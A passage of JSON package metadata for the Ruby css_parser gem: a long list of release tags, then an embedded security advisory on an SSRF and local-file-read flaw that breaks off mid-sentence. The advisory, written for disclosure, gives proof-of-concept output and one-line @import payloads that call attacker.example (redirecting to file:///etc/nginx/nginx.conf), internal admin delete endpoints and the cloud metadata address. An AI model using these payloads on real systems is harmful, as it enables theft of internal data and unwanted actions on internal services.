fests"},{"name":"v1.4.1","sha":"0f2ccfb9fda34d4315ae196f6baeb88b41ac9f58","kind":"tag","published_at":"2016-03-21T19:42:57.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"485d8fb743ee50f6a0aa08aa861cdab1fbbc2268","kind":"tag","published_at":"2016-03-16T21:23:47.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.4.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.4.0/manifests"},{"name":"v1.3.7","sha":"cc217b1aad708de7b43ea604a775e0592974423f","kind":"tag","published_at":"2015-09-22T16:48:29.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.7","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.7/manifests"},{"name":"v1.3.6","sha":"f956f63398a553a3aebb033ccfe9b3ea998cde54","kind":"tag","published_at":"2015-01-29T08:55:48.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.6","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.6/manifests"},{"name":"v1.3.5","sha":"51d0100ecebbe6331e3dbe8ae790aaa488369f2f","kind":"tag","published_at":"2013-08-24T12:44:29.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.5","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.5/manifests"},{"name":"v1.3.4","sha":"3e5a3454bbe7a62b1931f406bf61ca81bff289fc","kind":"tag","published_at":"2013-03-13T14:13:06.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.4","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.4/manifests"},{"name":"v1.3.3","sha":"50b6ab748d7661e8820860f3c4b5d3e9b9540b85","kind":"tag","published_at":"2013-03-13T06:34:10.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.3","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.3/manifests"},{"name":"v1.3.2","sha":"967e224c598e77cff26f1ec563850a1d3bde6861","kind":"tag","published_at":"2013-03-13T01:24:02.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.2","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"29d8ec93d8a5a34aa29b52785ab08baed3a5d507","kind":"tag","published_at":"2013-03-13T01:07:05.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.1","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"e4952f24940cde0204ad1954eb9c6981791586e9","kind":"tag","published_at":"2013-03-13T00:40:42.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/v1.3.0","html_url":"https://github.com/premailer/css_parser/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/v1.3.0/manifests"},{"name":"1.2.6","sha":"0970ca41e7c2869a2c0a4f253d8c298d4eb6d1b7","kind":"commit","published_at":"2011-09-09T17:58:59.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.6","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.6/manifests"},{"name":"1.2.5","sha":"84534d9486f8fd330e0aa133621b3f949e7f6cc7","kind":"commit","published_at":"2011-09-08T21:57:27.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.5","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.5/manifests"},{"name":"1.2.3","sha":"8b5c7e0f61ae3e8803637a08e8bdab6a0fe0aac5","kind":"commit","published_at":"2011-09-08T04:59:04.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.3","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.3/manifests"},{"name":"1.2.2","sha":"3e4c325e958446881a26029333fad830cd23f144","kind":"commit","published_at":"2011-09-07T19:07:27.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.2","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.2/manifests"},{"name":"1.2.1","sha":"84346862ea1eeb0a77379b871484b8e58209791a","kind":"commit","published_at":"2011-09-07T16:25:59.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.2.1","html_url":"https://github.com/premailer/css_parser/releases/tag/1.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.2.1/manifests"},{"name":"1.1.9","sha":"575b2f39cdba8c976c57d2450b8a9556d537c9ca","kind":"commit","published_at":"2011-04-01T21:58:00.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.9","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.9/manifests"},{"name":"1.1.8","sha":"2bd8090ea25036486adf806678e8bafa1290cf3c","kind":"commit","published_at":"2011-03-30T04:32:09.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.8","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.8/manifests"},{"name":"1.1.7","sha":"11a459fc06d900deec698675a40b98f567856017","kind":"commit","published_at":"2011-03-29T21:22:16.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.7","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.7/manifests"},{"name":"1.1.6","sha":"7603ce4d17d708deb54cf8bd98ad2b03442a6a5d","kind":"commit","published_at":"2011-03-26T04:56:26.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.6","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.6/manifests"},{"name":"1.1.5","sha":"844f2eb3948d5df6c1d73876a4bc13645d1d69e2","kind":"commit","published_at":"2011-01-21T17:47:12.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.5","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.5/manifests"},{"name":"1.1.4","sha":"8ad6893c77ef6af7546df2ddc4082104ce77fa21","kind":"commit","published_at":"2010-11-11T19:03:18.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.4","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.4/manifests"},{"name":"1.1.3","sha":"3e0af4f067fe9ca2271c3d564f88c1089876c40f","kind":"commit","published_at":"2010-11-03T23:40:10.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.3","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.3/manifests"},{"name":"1.1.2","sha":"2ea81048d1d9d9ee54547b0fb834b49e20329e04","kind":"commit","published_at":"2010-10-28T22:49:28.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.2","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.2/manifests"},{"name":"1.1.1","sha":"0d29d846c112b6c85a779c09ce3dab5e762de322","kind":"commit","published_at":"2010-10-26T21:03:08.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.1.1","html_url":"https://github.com/premailer/css_parser/releases/tag/1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.1.1/manifests"},{"name":"1.0.1","sha":"795220e824f1e2f57287a429f53988c635ab52a8","kind":"tag","published_at":"2010-02-21T19:07:49.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.0.1","html_url":"https://github.com/premailer/css_parser/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"876aa6c091af34e9828ad7eed5e9f6a91d038397","kind":"tag","published_at":"2009-12-22T00:22:53.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/1.0.0","html_url":"https://github.com/premailer/css_parser/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/1.0.0/manifests"},{"name":"0.9.0","sha":"52cad828e161ab3bab7217a13d02fd87d0bf2579","kind":"commit","published_at":"2008-06-25T16:42:17.000Z","download_url":"https://codeload.github.com/premailer/css_parser/tar.gz/0.9.0","html_url":"https://github.com/premailer/css_parser/releases/tag/0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/premailer/css_parser@0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/premailer%2Fcss_parser/tags/0.9.0/manifests"}]},"repo_metadata_updated_at":"2026-07-11T07:27:53.561Z","dependent_packages_count":0,"downloads":175352726,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":0.15409486837054137,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":0.15517623586787851,"average":0.07731777605960496},"purl":"pkg:gem/css_parser?repository_url=https://gem.coop","advisories":[{"uuid":"GSA_kwCzR0hTQS05cG1jLXAyMzYtODU1aM4ABaa0","url":"https://github.com/advisories/GHSA-9pmc-p236-855h","title":"Ruby CSS Parser: SSRF and Local File Disclosure in `CssParser::Parser#read_remote_file`","description":"## Summary\n\n`CssParser::Parser#read_remote_file` (and therefore `load_uri!`, and the `@import`-following branch of `add_block!`) issues HTTP/HTTPS requests against any host, port and URI it is handed, with no scheme allowlist, no host / IP filtering, and no protection against link-local, loopback or RFC‑1918 addresses. `Location:` redirects are followed recursively back into the same function, which **also services `file://` URIs**, so a single attacker-controlled HTTP redirect upgrades the bug from SSRF to arbitrary local file disclosure.\n\nIn practice, any consumer of `css_parser` that hands it attacker‑influenced CSS together with a `base_uri:` option — Premailer being the canonical example — is exposed. The attacker only needs the ability to land one `@import url(...)` in the CSS that the host application parses.\n\n## Vulnerable code\n\n[`lib/css_parser/parser.rb#L613-L687`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L613-L687):\n\n```ruby\ndef read_remote_file(uri) # :nodoc:\n  ...\n  begin\n    uri = Addressable::URI.parse(uri.to_s)\n\n    if uri.scheme == 'file'\n      # local file\n      path = uri.path\n      path.gsub!(%r{^/}, '') if Gem.win_platform?\n      src = File.read(path, mode: 'rb')        # \u003c-- arbitrary local read\n    else\n      # remote file\n      if uri.scheme == 'https'\n        uri.port = 443 unless uri.port\n        http = Net::HTTP.new(uri.host, uri.port)\n        http.use_ssl = true\n      else\n        http = Net::HTTP.new(uri.host, uri.port)  # \u003c-- arbitrary host:port\n      end\n\n      res = http.get(uri.request_uri, ...)\n      ...\n      elsif res.code.to_i \u003e= 300 and res.code.to_i \u003c 400\n        unless res['Location'].nil?\n          return read_remote_file Addressable::URI.parse(...)  # \u003c-- cross-scheme redirect\n        end\n      end\n    ...\n```\n\nThere is **no validation** of `uri.host`, `uri.scheme`, or the resolved IP address — neither before the HTTP request, nor before the recursive call on the `Location` header.\n\nThe user-facing entry points that reach this sink are:\n\n- [`Parser#load_uri!`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L489-L516) — directly calls `read_remote_file` (line 513).\n- [`Parser#add_block!`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L117-L162) — when invoked with `base_uri:` and the default `import: true`, scans the CSS for `@import url(...)` rules and resolves each one through `load_uri!` (line 150).\n\n## Threat model and scope\n\n| Capability | Reachable? | Notes |\n|---|---|---|\n| Arbitrary outbound `http://` / `https://` GET to any host:port reachable from the server | ✅ | No host, IP, port or scheme allowlist. Works against loopback, RFC‑1918, link‑local (169.254/16, AWS / GCP / Azure IMDS), and Docker / k8s service IPs. |\n| Recovering the response body | ✅ (conditional) | The body is fed back into `add_block!`. Any bytes that form `selector { decl }` round‑trip out via `Parser#each_selector` / `to_s`. A consumer that emits the parsed CSS (e.g. Premailer inlining into HTML) leaks the body to the original attacker. |\n| Local file read via cross-scheme redirect (`Location: file://...`) | ⚠️ partial | Redirect is followed without checking the new scheme; the recursive call services `file://` with `File.read`. The read itself executes against any path the Ruby process can open. **Content recovery via the parser API is constrained by CSS grammar** — see \"File-disclosure scope\" below. |\n| File-existence oracle | ✅ | With default `io_exceptions: true`, missing paths raise `CssParser::RemoteFileError` and existing paths return silently. An attacker can iterate `file://` targets to enumerate filesystem layout, usernames, installed software, etc. |\n| Side-effecting GETs against unprotected internal admin endpoints | ✅ | Even with a non‑CSS response, the request still fires. Internal services that act on GET (legacy admin panels, debug endpoints, cache busters, queue triggers) execute. |\n| Forced gzip / deflate decompression (DoS / decompression bomb) | ✅ | `Accept-Encoding: gzip` is hardcoded (line 650) and the body is decompressed with `Zlib::GzipReader` / `Zlib::Inflate` (lines 665-672). An attacker server can return a small gzipped payload that decompresses to multiple GB. |\n| HTTPS internal targets with self-signed / private CA certs | ⚠️ | `Net::HTTP#use_ssl = true` defaults to `VERIFY_PEER`, so internal HTTPS hosts with private certs will fail the SSL handshake. Plain HTTP, and HTTPS hosts whose certs chain to a CA trusted by the process, are fully exploitable. |\n| Smuggling other TCP protocols (Redis, Memcached, etc.) via the HTTP client | ⚠️ | `Net::HTTP` writes a real HTTP request line, so Redis / Memcached won't accept it. The TCP connect itself does occur, which can still trigger logs, port-scan effects, and connection-state side effects in firewalled environments. |\n\n### File-disclosure scope (cross-scheme redirect leg)\n\nThe `file://` branch of `read_remote_file` does an unconditional `File.read`, but the contents are then handed back to `add_block!` and fed through the CSS tokenizer ([`parse_block_into_rule_sets!`](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L342-L480)). Only content that fits the grammar at the lexer level survives:\n\n- **Selector slot** — any text accumulated before the next `{` becomes the selector for that rule (including text spanning multiple lines).\n- **Declarations slot** — only `prop: value;` pairs inside `{ ... }` are retained. The `Declarations` parser splits on `;`, requires `:`, and drops anything else ([rule_set.rb#L655-L681](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/rule_set.rb#L655-L681)).\n- A rule is only added when the *raw* declarations string between `{` and `}` is non-empty ([parser.rb#L396](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L396)).\n\nEmpirical results against vulnerable 2.2.0 with `Location: file://\u003cpath\u003e`:\n\n| File contents | Recoverable through `to_s` / `each_selector`? |\n|---|---|\n| `root:x:0:0:root:/root:/bin/bash\\napi_key=…` (no braces) | nothing |\n| `{\"AccessKeyId\":\"AKIA…\",\"Secret\":\"wJalr…\"}` (JSON, leading `{`) | nothing via `to_s`; partial leak via `each_rule_set` (empty selector + one parsed declaration) |\n| `SECRET=eyJhbGc… {}` (empty braces) | nothing (rule not added — raw decls empty) |\n| `api_key=…\\ndatabase{host:db.internal;pw:hunter2;}` | full leak: selector = `api_key=… database`, decls = `host: db.internal; pw: hunter2` |\n| nginx / HCL-style config: `name { key: value; }` | full leak of both slots |\n\nIn practice this means **high-value targets that aren't CSS-shaped — TLS keys, SSH keys, JWTs, `.env` files (`KEY=VALUE` lines), `/etc/passwd`, binary content — do not leak their bytes through the parser API**. Configuration files written in block-style DSLs (nginx, HCL/Terraform, Caddy, etc.) leak heavily. The `File.read` itself always executes, which is enough to (a) act as a file-existence oracle and (b) cause resource exhaustion on large pseudo-files like `/dev/zero`.\n\nThe **stronger** recovery channel is the SSRF leg, not file disclosure: when the response comes from an internal HTTP service, Premailer-style consumers serialize the parsed CSS back into rendered HTML/email output, and any CSS-shaped bytes in the response surface there.\n\n### Is it \"blind\"?\n\nIt is *not* a classic blind SSRF. The bug has two recovery channels:\n\n1. **Application output.** The library is most commonly driven by Premailer, which writes the parsed CSS back into the rendered HTML. Any response bytes that happen to form CSS rules are emitted into the output document and therefore visible to whoever receives the rendered output. Internal endpoints frequently return content that parses as CSS by accident — anywhere `{ ... }` appears (JSON objects sit just inside that envelope; many config-dump endpoints look the same) the contents become exfiltratable rules.\n2. **Side effects on the destination.** Because the request actually leaves the server, an attacker who controls the destination URL sees the request unconditionally (URL, headers, source IP, user-agent from `@options[:user_agent]`). And when the destination is an internal service the attacker does *not* control, the GET is nonetheless executed against that service.\n\n## Reproduction\n\nA minimal, self-contained reproducer is attached as [`poc.rb`](./poc.rb). It spins up two local WEBrick servers (a fake \"internal\" service on 127.0.0.1:18080 and an attacker-controlled redirector on 127.0.0.1:18081) and runs four scenarios against `css_parser` 2.2.0.\n\n```\n$ gem install css_parser -v 2.2.0\n$ gem install webrick     # not bundled with Ruby \u003e= 3.0\n$ ruby poc.rb\n```\n\n### Actual output\n\n```\n========================================================================\nPOC 1 — SSRF: force a GET to an internal-only HTTP endpoint and\n         recover the response body via the parser API\n========================================================================\nAttacker-supplied CSS:\n  @import url(\"http://127.0.0.1:18080/admin-credentials\");\nInternal endpoint hit count: 1  (should be \u003e= 1)\nRules parsed from the internal response:\n  .creds { content: \"AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET\"; }\n\n========================================================================\nPOC 2 — Cross-scheme redirect: HTTP 302 → file:// → local file read\n========================================================================\nLocal secret file: /tmp/css_parser_nginx.conf\nAttacker-supplied CSS:\n  @import url(\"http://127.0.0.1:18081/to-local-file\");\nRules parsed from the redirect target (a local file):\n  server { listen: 443; server_name: internal.example.com;\n           ssl_certificate_key: /etc/nginx/ssl/SECRET_PRIVATE_KEY.pem;\n           proxy_pass: http://10.0.0.42:8080; }\n\n========================================================================\nPOC 3 — Direct load_uri! also affected\n========================================================================\nparser.load_uri!('http://127.0.0.1:18080/admin-credentials')\n  .creds { content: \"AKIAFAKEINTERNALONLY:wJalrXUtnFEMIFAKESECRET\"; }\n\n========================================================================\nPOC 4 — Pure SSRF side-effect (works even when the response is not CSS-shaped)\n========================================================================\nAttacker-supplied CSS:\n  @import url(\"http://127.0.0.1:18080/admin/delete-user?id=42\");\nInternal side-effect endpoint reached? true\nRequest observed by internal service: \"/admin/delete-user?id=42\"\n```\n\n### Minimal one-line triggers\n\nThe smallest possible attacker payload is a single `@import` rule. The following three examples are ordered from \"highest practical impact\" to \"least\", because the parser's data-recovery surface depends on the shape of the response (see the \"File-disclosure scope\" table above):\n\n**1. Internal block-DSL config via cross-scheme redirect → file://** — nginx, HCL/Terraform, Caddy, BIND, etc. all use `name { key value; }` block syntax, which round-trips cleanly out of the css_parser API. An attacker who controls `attacker.example` redirects to the local file:\n\n```css\n/* attacker.css */\n@import url(\"https://attacker.example/r\");\n```\n\n```\nGET https://attacker.example/r\n→ 302 Location: file:///etc/nginx/nginx.conf\n```\n\nResult: the full `server { listen 443 ssl; ssl_certificate_key …; … }` block is parsed into selectors and declarations and surfaces via `parser.to_s`, which Premailer-style consumers re-emit into rendered output.\n\n**2. Side-effecting internal admin GET** — even when the response is not CSS-shaped, the request still executes against the internal service:\n\n```css\n@import url(\"http://internal-admin.local/api/v1/users/42?action=delete\");\n```\n\nNo data exfiltration is required for this to be a vulnerability: the attacker has achieved an authenticated-from-localhost GET against an internal control-plane endpoint.\n\n**3. Internal HTTP service whose body happens to be CSS-shaped** — a status / debug page or a config endpoint that emits `block { key: value; }` text. Same recovery profile as case (1).\n\n```css\n@import url(\"http://internal-svc.local/debug/config\");\n```\n\nAll three payloads are parsed via:\n\n```ruby\nrequire 'css_parser'\nparser = CssParser::Parser.new\nparser.add_block!(File.read('attacker.css'), base_uri: 'http://attacker.example/')\n```\n\n`base_uri:` is the only required option — it is what enables the `@import`-following code path ([parser.rb:147-150](https://github.com/premailer/css_parser/blob/cee10f16b11dd175f17b0e5f6aefa488378e964b/lib/css_parser/parser.rb#L147-L150)). Premailer always sets `base_uri:` when given an HTML document that has a URL, so every Premailer pipeline that processes attacker-influenced HTML/CSS reaches this sink.\n\n\u003e Note on the EC2 IMDS / `169.254.169.254` example often associated with SSRF write-ups: `@import url(\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\")` **does fire the request**, but the role-list response is plain text with no `{` characters and is therefore discarded by the CSS tokenizer — nothing surfaces via `parser.to_s` or `each_selector`. The per-role credentials JSON endpoint *partially* leaks the body as a single declaration value, but only via `each_rule_set` / `each_declaration`, which Premailer does not expose to its output. IMDSv2 is not exploitable at all (no `PUT` support, no header injection). The bug is still serious — just not via the IMDS path the way an XHR/curl-based SSRF would be.\n\n### Standalone `file://` via `load_uri!` (no HTTP redirect needed)\n\nIndependent of the SSRF / redirect chain above, `Parser#load_uri!` itself executes `File.read` against any `file://` URI it is handed, and `Parser#add_block!(css, base_uri: 'file:///some/dir/')` resolves `@import` against that base. Any application that hands an attacker-influenced URI (or an `@import` URL with an attacker-influenced base) to either method has a local file read primitive — no HTTP, no redirect, no `ssrf_filter`-bypass technique required.\n\n```ruby\nrequire 'css_parser'\nparser = CssParser::Parser.new\nparser.load_uri!('file:///etc/nginx/nginx.conf')  # direct File.read\n```\n\n…or via a CSS-driven path with an attacker-controlled `@import`:\n\n```ruby\nparser = CssParser::Parser.new\nparser.add_block!(File.read('attacker.css'), base_uri: 'file:///etc/')\n# attacker.css contains: @import url(\"nginx/nginx.conf\");\n```\n\nThe recoverable-content rules in the \"File-disclosure scope\" subsection above 